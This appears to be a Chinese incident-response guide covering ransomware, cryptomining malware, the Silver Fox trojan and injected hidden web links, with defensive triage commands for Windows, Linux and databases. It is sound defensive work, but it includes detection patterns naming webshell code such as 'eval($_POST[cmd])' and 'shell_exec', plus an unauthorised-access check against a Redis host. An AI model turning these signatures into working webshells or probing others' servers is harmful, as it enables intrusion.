常见网络安全事件通报类型与应急处置
常见网络安全事件通报类型与应急处置常见的网络安全事件通报类型在日常网络安全运营中，信息安全事件频发，已成为各类组织不可回避的风险。为强化风险警示与行业协同，监管机构会对辖区内发生的安全事件进行识别、定级与通报。常见的通报类型包括勒索病毒、挖矿病毒、银狐木马、⽹⻚内嵌恶意代码、两⾼⼀弱等，这些事件多属于有害程序事件（MI） 与网络攻击事件（NAI） 的范畴，其通报不仅推动涉事单位及时处置，也为全行业提供了关键的风险态势与防御参考。勒索病毒特征勒索病毒（Ransomware）是一种恶意软件，它通过加密用户设备上的文件或锁定系统屏幕来阻止用户正常访问自己的数据或设备，然后向受害者勒索赎金（通常要求以比特币等加密货币支付），并承诺在收到赎金后提供解密密钥或恢复访问权限。这类病毒通常通过钓鱼邮件、恶意附件、漏洞攻击或伪装成正常软件的安装包进行传播，对个人、企业甚至公共机构造成严重危害，包括数据丢失、财务损失、业务中断等。我们以baxia勒索病毒为例进行简单分析 baxia勒索病毒是BeijngCrypt勒索病毒家族的变种，通常通过各类数据库的弱口令进行入侵感染，黑客获取数据库弱口令后通过数据库命令下载、执行勒索病毒，baxia病毒一旦运行，就开始针对各类文档、程序(doc、docx、xlsx、xls、pdf、mdf、jpg、png、exe等格式)进行加密操作，并在加密文件夹下创建名为!_INFO.txt的勒索信件。同时baxia勒索病毒会针对内网中其他主机的445、3389端口发起攻击，继续扩大勒索范围。处置方法勒索病毒的处置方法主要以前期巡检、备份为主，大部分的勒索病毒使用AES+RSA加密，如果没有解密密钥，几乎无法使用常规手段解密，所以勒索病毒的处置基本上是删除相关的恶意软件、检查主机薄弱点并修复、部署相应的终端防护设备。对于已经感染勒索病毒的主机，首先要立刻切断主机的网络，防止主机攻击其他内网机器感染更多的设备，同时也阻止主机上传解密密钥到黑客的服务器。Windows操作系统的主机可以使用命令netsh interface set interface "以太网" disable、Linux操作系统使用sudo ip link set eth0 down或者直接拔掉主机网线来禁用主机网络。接下来需要识别勒索病毒的类型，我们可以通过观察已经被加密的文件后缀识别勒索软件的类型，以前图为例，勒索软件加密文件后后缀为baxia，则该勒索软件为baxia。我们可以访问360勒索病毒解密或者奇安信勒索病毒搜索这两个网站，查找可能可以解密的勒索病毒后缀，部分勒索病毒可能可以解密。如果不能解密，那就祈祷这台主机启用了备份功能，可以恢复到勒索前的状态吧。紧接着就是立即关闭勒索软件，Windows主机通过tasklist /v检查异常进程、netstat -ano检查异常的网络连接，Linux主机可以使用ps auxf、top -b -n 1检查异常进程、netstat -tulpn和ss -tulpn检查异常的网络连接。一般情况下，在加密还未结束时，勒索病毒的加密操作会大量占用CPU资源，所以可以使用KILL命令关闭CPU资源占用较高的进程。Windows操作系统还需要检查任务计划程序、注册表、启动文件夹、Windows服务、DLL劫持与侧加载等等。常见的注册表自启动键：# 标准自启动键 HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce # 扩展自启动位置 HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit # 登录相关键 HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell HKEY_CURRENT_USER\Environment\UserInitMprLogonScript # 特定扩展名关联键 HKEY_CLASSES_ROOT\.txt\shell\open\command HKEY_CLASSES_ROOT\txtfile\shell\open\command # COM对象键 HKEY_CLASSES_ROOT\CLSID\{GUID}\InprocServer32常见的启动文件夹目录# 用户启动文件夹 C:\Users\<用户名>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup # 所有用户启动文件夹 C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup检查要点包含：# 检查服务 sc query state= all | findstr "SERVICE_NAME" # 检查计划任务 schtasks /query /fo list # 检查网络连接 netstat -ano | findstr "ESTABLISHED" # 检查WMI事件 Get-WmiObject -Namespace root\subscription -Class __EventFilter # 注册表关键位置检查 $suspectPaths = @( "HKLM:\Software\Microsoft\Windows\CurrentVersion\Run", "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run", "HKLM:\Software\Microsoft\Windows\CurrentVersion\RunOnce", "HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" ) foreach ($path in $suspectPaths) { if (Test-Path $path) { Get-ItemProperty -Path $path | Format-List } }针对Linux操作系统的勒索病毒，我们还应检查定时任务、Systemd服务与定时器、Shell配置文件、动态链接库劫持、Init系统脚本等。Linux检查要点包含：# 检查所有cron任务 crontab -l # 当前用户 crontab -u root -l # root用户 ls -la /etc/cron.*/ # 系统cron目录 cat /etc/crontab # 系统crontab find /etc/cron* -type f -exec cat {} \; 2>/dev/null # 检查所有服务 systemctl list-unit-files --type=service systemctl list-units --type=service --all # 查看服务详情 systemctl status [服务名] cat /etc/systemd/system/[服务名].service # 检查定时器 systemctl list-timers --all # 检查rc.local cat /etc/rc.d/rc.local cat /etc/rc.local # 检查init.d脚本 ls -la /etc/init.d/ grep -r "执行命令" /etc/init.d/ # 检查profile文件 grep -n "可疑命令" /etc/profile ~/.bashrc ~/.bash_profile # 查找隐藏文件 find / -name ".*" -type f 2>/dev/null | grep -v "/proc/" find / -name "..*" -type f 2>/dev/null # 检查/tmp、/var/tmp异常 ls -la /tmp/ /var/tmp/ find /tmp /var/tmp -type f -mtime -1 # 检查不可变文件 lsattr /etc/cron* /etc/systemd/system/* # 检查LD_PRELOAD echo $LD_PRELOAD cat /etc/ld.so.preload 2>/dev/null通过上述的命令排查到勒索软件的进程和守护进程后，即可关闭勒索病毒进程，备份勒索病毒样本，删除勒索病毒。接下来是要排查勒索软件的入口，判断勒索软件是从主机的哪个脆弱点攻击成功并部署勒索病毒的。在Windows上，首先应该排查SMB的445端口和RDP的3389端口，这是病毒内网非常常见的传播方式，这些服务能被攻破的主要原因除了未打补丁之外，还可能存在弱口令、空口令的问题，所以还需排查操作系统的登录密码的强弱，如果过于简单则需要更换。在排查的时候，可以通过Windows自带的日志系统来进行分析，在安全日志中，事件编号为4625、4688分别代表着失败登录和进程创建，前者意味着勒索并是通过猜解登录密码在主机上部署勒索病毒的，后者可以获取勒索病毒的进程创建时间，进一步确认系统中毒的时间。# 检查系统补丁状态（特别是MS17-010永恒之蓝） systeminfo | findstr /B /C:"OS Name" /C:"OS Version" wmic qfe list brief | findstr "KB" # 检查已知勒索漏洞补丁是否安装 wmic qfe get hotfixid | findstr "KB4012212 KB4012217 KB4012606" # 检查RDP服务状态和配置 reg query "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections reg query "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber # 检查SMB服务状态（端口445） sc query lanmanserver net share # 查看共享资源 # 检查用户账户和最近登录 net user net localgroup administrators wevtutil qe Security /rd:true /f:text | findstr "4624 4625" # 登录事件 # 检查弱密码或空密码账户 net user [用户名] # 查看账户状态 wmic useraccount get name,passwordexpires,lockout # 查看RDP连接历史 query user # 当前会话 qwinsta # 会话信息 # 检查安全事件日志中的可疑活动 wevtutil qe Security /rd:true /f:text /q:"*[System[(EventID=4625)]]" # 失败登录 wevtutil qe Security /rd:true /f:text /q:"*[System[(EventID=4688)]]" # 进程创建 # 查看应用程序和系统日志 eventvwr.msc # 图形界面查看 # 或使用命令行筛选 Get-WinEvent -FilterHashtable @{LogName='Application'; StartTime=(Get-Date).AddDays(-7)} | Where-Object {$_.Message -like "*crypt*"} # 查看最近修改的可执行文件 forfiles /p C:\ /s /m *.exe /d -3 /c "cmd /c echo @path @fdate @ftime"在Linux上，首先要排查SSH、VNC等服务是否存在弱口令，这些服务的配置是否正确。# 检查系统版本和内核 uname -a cat /etc/os-release lsb_release -a # 检查已安装的安全更新（不同发行版） # Ubuntu/Debian apt list --installed | grep -i security # RHEL/CentOS yum history | grep -i update rpm -qa --last | head -20 # 检查SSH配置和登录 grep -i "permitrootlogin\|passwordauthentication" /etc/ssh/sshd_config last -20 # 最近登录 lastb -20 # 失败登录 # 检查RDP/VNC等服务 systemctl status xrdp vncserver 2>/dev/null ps aux | grep -E "(xrdp|vnc|tightvnc)" # Linux：检查内存中的可疑内容 strings /dev/mem | grep -i "ransom\|crypt\|bitcoin" # 检查用户和特权账户 cat /etc/passwd | grep -E "(/bin/bash|/bin/sh)" cat /etc/sudoers sudo -l # 当前用户sudo权限 # 检查空密码或弱密码账户 awk -F: '($2 == "" ) {print}' /etc/shadow # 检查UID 0账户（除root外） awk -F: '($3 == 0) {print}' /etc/passwd # 检查文件权限 find / -perm -4000 -type f 2>/dev/null # SUID文件 find / -perm -2000 -type f 2>/dev/null # SGID文件 find / -type f -perm -o+w 2>/dev/null # 全局可写文件 # 检查敏感配置文件权限 ls -la /etc/passwd /etc/shadow /etc/sudoers # 检查LD_PRELOAD劫持 echo $LD_PRELOAD cat /etc/ld.so.preload 2>/dev/null # 检查bash历史 tail -50 ~/.bash_history如果操作系统上还部署其他服务，比如数据库、Web服务等，那我们还应该检查这些中间件服务对应的日志信息和配置，大多数数据库被攻击、入侵都是因为使用了默认密码、弱口令，或者未授权访问，当然也有可能是Web服务导致的SQL注入。同样的，Web服务也可能存在被黑客攻破的薄弱点：任意文件上传漏洞、远程代码执行漏洞、反序列化漏洞、不安全的配置、供应链攻击、弱口令/默认口令以及前述的SQL注入等等，这些漏洞也会造成黑客的入侵，传播勒索病毒或者下述的其他病毒等。排查这些中间件服务的日志可以更清晰的反应出黑客的入侵路径，在修补薄弱点后防止下次的入侵行为。# Apache日志检查 tail -200 /var/log/apache2/access.log | grep -E "(\.php|\.asp|\.jsp|POST.*\.(php|asp|jsp))" tail -200 /var/log/apache2/error.log | grep -i "error\|warning" # Nginx日志检查 tail -200 /var/log/nginx/access.log | grep -E "(union.*select|eval\(|base64_decode|system\(|shell_exec)" tail -200 /var/log/nginx/error.log # 查找异常IP访问 cat /var/log/apache2/access.log | awk '{print $1}' | sort | uniq -c | sort -nr | head -20 # 检查Web目录下的异常文件 find /var/www -name "*.encrypted" -o -name "*.locked" -o -name "*_readme.txt" 2>/dev/null find /var/www -name "*.exe" -o -name "*.bat" -o -name "*.vbs" 2>/dev/null # Windows服务器 # 检查文件权限问题 find /var/www -type f -perm -o+w 2>/dev/null # 全局可写文件 find /var/www -type d -perm -o+w 2>/dev/null # 全局可写目录 # 检查被修改的网站文件 find /var/www -type f -newer /var/www/index.php 2>/dev/null | head -20-- MySQL/MariaDB -- 检查用户和权限 SELECT user, host, authentication_string FROM mysql.user; SHOW GRANTS FOR 'root'@'localhost'; -- 检查匿名账户和空密码账户 SELECT user, host FROM mysql.user WHERE user = '' OR authentication_string = ''; -- 查看数据库运行状态和连接 SHOW PROCESSLIST; SHOW VARIABLES LIKE 'port'; -- 查看端口 -- 检查插件和组件（可能被注入恶意组件） SELECT * FROM mysql.plugin; -- PostgreSQL -- 检查用户和权限 SELECT usename, passwd FROM pg_shadow; SELECT * FROM pg_roles; -- 检查数据库连接 SELECT * FROM pg_stat_activity; -- 检查扩展（可能被恶意利用） SELECT * FROM pg_extension; -- MongoDB -- 连接MongoDB后执行 -- 检查认证状态 db.runCommand({getParameter: 1, authenticationMechanisms: 1}) -- 查看用户 db.getUsers() db.system.users.find() -- 检查数据库列表（勒索病毒可能创建新数据库） show dbs# Redis # 检查Redis配置 redis-cli CONFIG GET requirepass # 查看是否设置密码 redis-cli CONFIG GET bind # 查看绑定地址 redis-cli CONFIG GET protected-mode # 检查数据（勒索病毒可能修改或加密键值） redis-cli KEYS "*" redis-cli INFO keyspace # 尝试未授权访问（测试安全） redis-cli -h [IP] INFO # 如果不需要密码直接返回信息，说明存在未授权访问 # # 检查Redis配置文件 cat /etc/redis/redis.conf | grep -E "(requirepass|bind|protected-mode)" # 危险：requirepass为空、bind 0.0.0.0、protected-mode no # Elasticsearch # 检查集群健康（未授权访问风险高） curl -X GET "localhost:9200/_cluster/health" curl -X GET "localhost:9200/_nodes" # 获取节点信息 # 检查索引（勒索病毒可能删除或加密索引） curl -X GET "localhost:9200/_cat/indices?v" # 检查Elasticsearch配置文件 cat /etc/elasticsearch/elasticsearch.yml | grep -E "(network.host|http.port|xpack.security.enabled)" # 危险：network.host: 0.0.0.0 且未启用安全 # MongoDB # 检查配置文件 cat /etc/mongod.conf | grep -E "(bindIp|port|security.authorization)" # 危险配置：bindIp: 0.0.0.0 且未启用authorization # 检查是否启用认证 mongod --version | grep -i auth # MySQL # 检查MySQL配置文件 cat /etc/my.cnf | grep -E "(bind-address|port|skip-grant-tables|skip-networking)" # 危险配置：bind-address=0.0.0.0（暴露到所有网络） # PostgreSQL # 检查配置文件 cat /var/lib/pgsql/data/postgresql.conf | grep -E "(listen_addresses|port|password_encryption)" # 默认listen_addresses='localhost'为安全，'*'或'0.0.0.0'危险在检查完主机、服务、日志后，我们就能大致了解黑客是通过哪种手段攻击并植入勒索病毒的，这样就可以有针对性的增强、改善系统的薄弱点，防止下次勒索病毒再次对系统造成破坏。挖矿病毒特征挖矿病毒（Cryptojacking）是一种恶意软件，它通过秘密利用受害者设备的计算资源（如CPU、GPU）来挖掘加密货币（如比特币、门罗币等），从而为攻击者非法获取数字货币。这类病毒通常通过恶意网站脚本、钓鱼邮件、软件漏洞、或伪装成正常软件的安装包进行传播，对个人、企业甚至公共机构造成严重危害，包括设备性能显著下降、电力消耗急剧增加、硬件损耗加速、系统稳定性降低以及潜在的安全风险等。如下图是挖矿病毒挖取CFX加密货币为例： 该挖矿病毒通过钓鱼邮件入侵到主机后，在内网通过SSH、RDP、SMB弱口令等攻击手段进行横向移动，最终扩散到内网其他主机中，并在内网建立中继节点，黑客通过中继节点下达攻击、挖矿指令。处置方法挖矿病毒与勒索病毒很像，但是最终目的不同，勒索病毒是通过加密系统中的数据进行勒索获取经济价值，挖矿病毒是通过抢占CPU、GPU、硬盘、内存资源来获取加密货币，虽然可能不会对系统中的数据有危害，但是通过抢占系统资源导致系统服务不稳定，甚至中断服务。对于挖矿病毒的处置，与勒索病毒类似，首先就是先暂停危害，从进程中找出CPU、GPU等资源占用率极高的进程，在Windows系统中，我们可以打开任务管理器，找到占用率高的进程，并右键选择打开文件所在位置确定病毒绝对路径，如果没有守护进程的话，在任务管理器中就可以右键选择结束任务，如果有守护进程或者自启动的话，可以参考勒索病毒的排查方法进行排查。在Linux系统中，我们可以通过top命令找出占用率高的进程，进入/proc/[PID进程号]目录后，使用ls -alh exe的命令查看进程的绝对路径，确认绝对路径后如果没有守护进程即可关闭、备份相关挖矿病毒，如果存在守护进程或自启动，也可以参考勒索并的排查方法进行排查。 # 查看所有进程的命令行参数（关键！矿池地址常在此） Get-WmiObject Win32_Process | Select-Object Name, ProcessId, CommandLine | Where-Object {$_.CommandLine -match 'miner|stratum|pool|xmrig|monero|ethminer|nicehash'} | Format-List # 按进程名查看详细信息 Get-Process | Where-Object {$_.ProcessName -match 'powershell|wscript|cscript|mshta'} | Select-Object Name, Id, CPU, Company, Path, MainWindowTitle # 查看进程父子关系 Get-CimInstance Win32_Process | Select-Object ProcessId, ParentProcessId, Name, CommandLine | Sort-Object ParentProcessId | Format-Table -AutoSize # 查找可疑的进程树深度 $processes = Get-CimInstance Win32_Process $deepProcesses = $processes | Where-Object { $_.ParentProcessId -ne 0 -and ($processes | Where-Object {$_.ProcessId -eq $_.ParentProcessId}).Count -gt 2 } $deepProcesses | Select-Object Name, ProcessId, ParentProcessId, CommandLine # 实时监控CPU占用（每2秒刷新一次） while($true) { Get-Process | Sort-Object CPU -Descending | Select-Object -First 5 Name, CPU, Id, WorkingSet64 | Format-Table -AutoSize Start-Sleep -Seconds 2 Clear-Host } # 查看进程的线程数量（挖矿病毒可能创建大量线程） Get-Process | Select-Object Name, Id, @{Name='ThreadCount';Expression={$_.Threads.Count}} | Sort-Object ThreadCount -Descending | Select-Object -First 10 # 查看所有UDP连接 Get-NetUDPEndpoint | Select-Object LocalAddress, LocalPort, OwningProcess | Sort-Object LocalPort | Format-Table -AutoSize # 检查常见矿池UDP端口 $miningPorts = @(3333,4444,5555,6666,7777,8888,9999,14444,55555) Get-NetUDPEndpoint | Where-Object {$_.LocalPort -in $miningPorts} | ForEach-Object { $proc = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue [PSCustomObject]@{ Port = $_.LocalPort ProcessId = $_.OwningProcess ProcessName = $proc.Name Path = $proc.Path } } | Format-Table # 查看所有计划任务的详细信息 Get-ScheduledTask | Where-Object {$_.TaskPath -notmatch '\\Microsoft\\'} | ForEach-Object { $task = $_ $action = $task.Actions | Select-Object -First 1 [PSCustomObject]@{ TaskName = $task.TaskName TaskPath = $task.TaskPath State = $task.State Author = $task.Author Command = $action.Execute Arguments = $action.Arguments Triggers = $task.Triggers.Count } } | Format-List # 检查所有用户的启动文件夹 $users = Get-ChildItem "C:\Users" -Directory foreach ($user in $users) { $startupPath = "C:\Users\$($user.Name)\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup" if (Test-Path $startupPath) { Write-Host "=== $($user.Name) 的启动文件夹 ===" -ForegroundColor Yellow Get-ChildItem $startupPath -Force | Select-Object Name, FullName, LastWriteTime | Format-Table } } # 检查所有启动注册表项 $registryPaths = @( "HKLM:\Software\Microsoft\Windows\CurrentVersion\Run", "HKLM:\Software\Microsoft\Windows\CurrentVersion\RunOnce", "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run", "HKCU:\Software\Microsoft\Windows\CurrentVersion\RunOnce", "HKLM:\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Run", "HKLM:\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce" ) foreach ($path in $registryPaths) { if (Test-Path $path) { Write-Host "=== 检查: $path ===" -ForegroundColor Cyan Get-ItemProperty $path | Out-String | Write-Host } } # 检查Chrome扩展（挖矿脚本可能通过浏览器运行） $chromeExtensions = "C:\Users\*\AppData\Local\Google\Chrome\User Data\Default\Extensions\*" Get-ChildItem $chromeExtensions -ErrorAction SilentlyContinue | Select-Object FullName, LastWriteTime | Format-Table # 查看PowerShell历史命令（病毒可能通过PowerShell执行） Get-History | Select-Object -Last 50 CommandLine | Format-List # 查看CMD历史 Get-Content (Get-PSReadlineOption).HistorySavePath -Tail 100 | Where-Object {$_ -match 'miner|powershell -enc|wget|curl'} | Format-List # 检查进程创建事件（事件ID 4688） $processEvents = Get-WinEvent -FilterHashtable @{ LogName='Security' ID=4688 StartTime=(Get-Date).AddHours(-24) } -MaxEvents 100 | ForEach-Object { $xml = [xml]$_.ToXml() [PSCustomObject]@{ Time = $_.TimeCreated ProcessName = ($xml.Event.EventData.Data | Where-Object {$_.Name -eq 'NewProcessName'}).'#text' CommandLine = ($xml.Event.EventData.Data | Where-Object {$_.Name -eq 'CommandLine'}).'#text' User = ($xml.Event.EventData.Data | Where-Object {$_.Name -eq 'SubjectUserName'}).'#text' } } $processEvents | Where-Object {$_.CommandLine -match 'miner|powershell.*enc'} | Format-List # 查看PowerShell脚本块日志（事件ID 4104） Get-WinEvent -FilterHashtable @{ LogName='Microsoft-Windows-PowerShell/Operational' ID=4104 StartTime=(Get-Date).AddHours(-24) } -MaxEvents 50 | ForEach-Object { $xml = [xml]$_.ToXml() $script = ($xml.Event.EventData.Data | Where-Object {$_.Name -eq 'ScriptBlockText'}).'#text' if ($script -match 'miner|stratum|pool|Invoke-Expression') { [PSCustomObject]@{ Time = $_.TimeCreated Script = $script.Substring(0, [math]::Min($script.Length, 200)) } | Format-List } }在感染挖矿病毒后，异常的网络连接也是需要关注的，因为挖矿病毒需要将挖到的加密货币上传到互联网的矿池，所以，阻断后续的网络连接也是非常重要的。Get-NetTCPConnection | Select-Object LocalAddress, LocalPort, RemoteAddress, RemotePort, State, OwningProcess Get-Process -Id <PID号> | Select-Object ProcessName, Path, Company tasklist /svc /fi "PID eq <PID号>" tasklist | findstr <PID号># 实时监控CPU使用情况（非交互模式） top -b -n 1 | head -30 # 查看每个进程的CPU使用率（1秒间隔，采样5次） pidstat 1 5 # 监控磁盘I/O（挖矿病毒可能有大量磁盘操作） iotop -o # 查看内存使用前10的进程 ps aux --sort=-rss | head -11 # 查看实时网络流量（需安装nethogs） sudo nethogs # 检查所有ESTABLISHED连接 netstat -an | grep ESTABLISHED | awk '{print $5}' | cut -d: -f1 | sort | uniq -c | sort -n # 监控网络带宽使用（按进程） sudo iftop -P # 检查ARP表（防止中间人攻击） arp -a # 查看连接数最多的前10个IP netstat -ntu | awk '{print $5}' | cut -d: -f1 | sort | uniq -c | sort -n | tail -10 netstat -antp ss -tunap ps aux | grep <PID号> ps -ef | grep <PID号> lsof -p <PID号> # 同时检查多个常见挖矿端口 for port in 3333 4444 5555 7777 8888 9999; do echo "=== Port $port ==="; netstat -antp | grep :$port; done # 查看进程的网络活动 strace -p <PID号> -e network # 检查进程的守护进程关系（挖矿病毒常有守护进程） systemctl status <PID号> 2>/dev/null || pstree -p <PID号> # 查看所有用户的cron任务 for user in $(cut -f1 -d: /etc/passwd); do echo "=== $user ==="; crontab -u $user -l 2>/dev/null; done # 检查系统级cron目录 ls -la /etc/cron.hourly/ /etc/cron.daily/ /etc/cron.weekly/ /etc/cron.monthly/ # 查看anacron定时任务 cat /etc/anacrontab 2>/dev/null # 检查at任务 atq # 全盘搜索挖矿相关文件 find / -type f \( -name "*miner*" -o -name "*xmrig*" -o -name "*monero*" -o -name "*ccminer*" \) 2>/dev/null | head -50 # 搜索最近7天修改的可执行文件 find / -type f -perm /111 -mtime -7 2>/dev/null | xargs ls -la # 检查SUID/SGID文件（提权风险） find / -type f \( -perm -4000 -o -perm -2000 \) 2>/dev/null # 搜索隐藏文件（以点开头） find / -name ".*" -type f 2>/dev/null | grep -E "(miner|config|stratum)" # 查看文件特殊属性（病毒常设+i防止删除） lsattr /usr/bin/* /usr/local/bin/* 2>/dev/null | grep -E "^[^\-]" # 批量检查/bin、/sbin、/usr/bin目录文件属性 for dir in /bin /sbin /usr/bin /usr/local/bin; do [ -d $dir ] && echo "=== $dir ===" && lsattr $dir/* 2>/dev/null | grep -v "-------------"; done # 检查文件修改时间异常（如系统文件被修改） rpm -Va 2>/dev/null || dpkg -V 2>/dev/null # 查看系统日志中的可疑活动 journalctl -xe --since "1 hour ago" | grep -i "error\|fail\|mining\|cron" # 检查认证日志中的异常登录 tail -100 /var/log/auth.log | grep -i "fail\|invalid\|mining" # 查看内核日志中的异常 dmesg | tail -50 # 搜索所有日志中的挖矿关键词 grep -r -i "miner\|xmrig\|stratum\|pool" /var/log/ 2>/dev/null | head -20在处理挖矿病毒结束后，同样的，我们可以使用与勒索病毒相同的办法还原挖矿病毒的攻击手法，是通过什么应用、服务的什么漏洞攻入的，还是说通过社会工程学手段攻入的，对这些系统薄弱点进行针对性的提升。银狐木马银狐木马（Silver Fox Trojan）是一种恶意软件，它通过伪装成正常程序或利用系统漏洞潜入用户设备，然后在后台秘密建立远程控制通道，使攻击者能够窃取敏感信息、监控用户操作或利用受害设备进行其他恶意活动。这类木马通常通过钓鱼邮件、恶意网站、软件捆绑或漏洞攻击进行传播，对个人、企业甚至政府机构造成严重危害，包括数据泄露、系统失控、隐私侵犯等。本公众号在1月的文章：《银狐木马分析：从攻击行为到完整应急处置流程》详细介绍了银狐木马，银狐木马近些年来发展迅速，已俨然成为目前国内最高发的病毒木马家族之一。特征银狐木马主要通过钓鱼邮件、仿冒网站、软件捆绑、IM聊天软件、进行攻击，极少数银狐木马会通过系统漏洞进行攻击。钓鱼邮件是指黑客一般以税务、人社或者所属单位的名义发送钓鱼邮件，并将银狐木马放到附件，如果收件人不仔细检查发件人或未确认就打开附件即刻中毒；仿冒网站是指黑客通过购买与常用办公软件的相似域名，在搜索引擎中提高SEO排名，甚至通过竞价机制成为搜索引擎中搜索出来的官方网站进行投毒，如果没有注意，那么就会从这些仿冒网站上下载到捆绑了银狐木马的软件；软件捆绑与仿冒网站几乎相差无几，通过将银狐木马捆绑到破解软件、压缩包等文件中，在下载站或者其他网站中下载后就可以感染银狐木马；IM聊天软件一般是银狐扩大危害的一种手段，通常会通过微信、企业微信、钉钉、企业内的OA系统、邮件系统等办公软件进行传播，常见的方式是通过拉群，在群中发送银狐木马的压缩文件，如果群内其他人无安全意识，解压压缩文件，打开其中的应用程序即刻中毒。银狐木马隐蔽性强，通常会持续监控失陷主机状态。受害者离开电脑、终端，这些设备处于无人值守状态时，攻击者会通过AnyDesk、向日葵、VNC、ToDesk等远控软件登录受害主机，利用已登录或开启自动登录功能的聊天工具，主动发起传播行为。 处置方法银狐木马的处置与前述的勒索病毒、挖矿病毒处置基本一致，首先就是断网，减少对内网其他主机、系统造成的危害。其次就是强制结束恶意进程，如果存在进程守护，也需一同关闭，清除。目前银狐木马的部分变种会禁止安装杀毒软件，所以如果主机无杀毒软件，则需要清除银狐木马后才能安装杀毒软件，银狐木马还会使用、盗取正常软件的签名信息，企图绕过杀毒软件查杀，所以在清理时需注意。因为银狐木马大多数感染的是Windows的办公主机，所以在银狐木马查杀结束后，可以着重加强人员的网络安全意识，降低感染银狐木马的风险，同时还应部署专业的安全防护软件。 对于银狐木马，我们还可以使用各类威胁情报平台，如：微步在线X情报社区、奇安信威胁情报中心，通过上传银狐木马样本，我们可以清晰的获取到银狐木马的恶意行为与外联行为。 网页内嵌恶意代码网页内嵌恶意代码（Web-embedded malicious code）是是黑帽SEO中常见的作弊手法，也是一种黑灰产常用的网页内嵌恶意代码攻击手段，指攻击者通过网站漏洞（如SQL注入、文件上传）、弱口令爆破或供应链攻击等方式非法入侵网站后，在网页源代码中植入对正常用户不可见、但能被搜索引擎爬虫抓取的恶意链接。这些链接通常通过技术手段实现隐蔽，其目的在于操纵搜索引擎排名（SEO作弊），将受害网站的权重引流至赌博、色情、诈骗等非法网站，或作为恶意软件分发、钓鱼攻击的中转跳转点。网页内嵌恶意代码不仅损害网站的信誉和搜索引擎排名，还可能导致网站被搜索引擎安全中心拉黑、被浏览器标记为危险网站，甚至成为传播勒索病毒、窃取用户数据的攻击入口，对网站所有者、访问用户以及网络生态环境均构成严重威胁。特征网页内嵌恶意代码（Web-embedded malicious code）其植入方式主要包括利用网站漏洞（如SQL注入、文件上传漏洞）、弱口令爆破以及供应链攻击等途径非法入侵网站后台，并在页面源代码中插入恶意链接。为逃避检测，攻击者采用多种隐蔽技术，如使用CSS属性（display:none、visibility:hidden、opacity:0）进行视觉隐藏、将链接文字颜色设置为与背景色相同、通过font-size:0或width:0; height:0使链接尺寸极小化，或利用绝对定位将链接偏移至视口之外（left:-9999px; top:-9999px）、JavaScript动态加载、甚至利用HTML注释或跑马灯（marquee）快速闪现等方式实现。网页内嵌恶意代码的内容与结构特征表现为大量堆砌赌博、色情、药品等高搜索量关键词作为锚文本，指向非法站点或作为恶意软件分发、钓鱼攻击的中转跳转链接，并常采用JavaScript动态加载、代码分割混淆、Base64编码等手段增强隐蔽性。从目的与影响来看，网页内嵌恶意代码的核心特征是用于操纵搜索引擎排名和进行非法引流。攻击者通过在被黑网站上植入大量指向目标站点的网页内嵌恶意代码，企图利用搜索引擎的权重传递机制快速提升目标网站在搜索结果中的排名。此外，网页内嵌恶意代码也可能指向钓鱼网站、恶意软件下载地址或违规内容，从而实施流量劫持、传播恶意程序或进行网络诈骗。这种行为严重违反搜索引擎规则，一旦被发现会导致网站被降权甚至被索引删除，同时给被植入网页内嵌恶意代码的网站带来安全风险与声誉损害。 处置方法网页内嵌恶意代码的详细处置流程首先从深度检测开始，具体操作上需要使用多款工具进行交叉验证，例如使用Screaming Frog SEO Spider抓取全站并设置过滤器查找display:none、opacity:0、font-size:0px等CSS属性，同时利用正则表达式在源代码中搜索颜色值与背景色相同的链接（如color:#FFFFFF配合background-color:#FFFFFF），对JavaScript文件使用Beautifier反混淆后检查动态加载的DOM元素，通过数据库管理工具执行SQL查询语句（如SELECT * FROM wp_posts WHERE post_content LIKE '%<a%style=%display:none%>%'）排查存储型注入，并分析服务器访问日志使用grep命令筛选异常时间段的POST请求（grep "POST.*\\.php" access.log | awk '{print $1,$7}'）以定位入侵入口点。清除阶段需按照优先级处理，首先通过SSH连接服务器定位被篡改文件，使用diff命令对比备份版本与当前版本，手动删除恶意代码段（注意避免误删正常功能代码），若发现webshell则根据特征（如eval($_POST[cmd])）进行查找并移除，对数据库执行清理语句（如UPDATE wp_posts SET post_content = REPLACE(post_content, '恶意链接代码', '')），随后立即修补漏洞，例如针对WordPress网站升级核心文件（wp-admin/update-core.php）、禁用存在漏洞的插件、在.htaccess中添加规则限制可疑文件执行（<Files *.php>deny from all</Files>）、修改文件权限为644（目录755）并移除不必要的可执行权限，同时更改所有相关密码并使用密码管理器生成高强度组合。加固环节需要部署多层防护，针对网页内嵌恶意代码特征添加自定义规则（如检测style="display:none"中的外链），部署文件完整性监控工具AIDE并初始化数据库（aide --init），设置每日自动比对报告，安装实时监控脚本，配置日志集中分析系统并设置告警规则（当检测到大量异常外链时触发），编写定期扫描脚本（结合wget镜像网站并使用grep -r 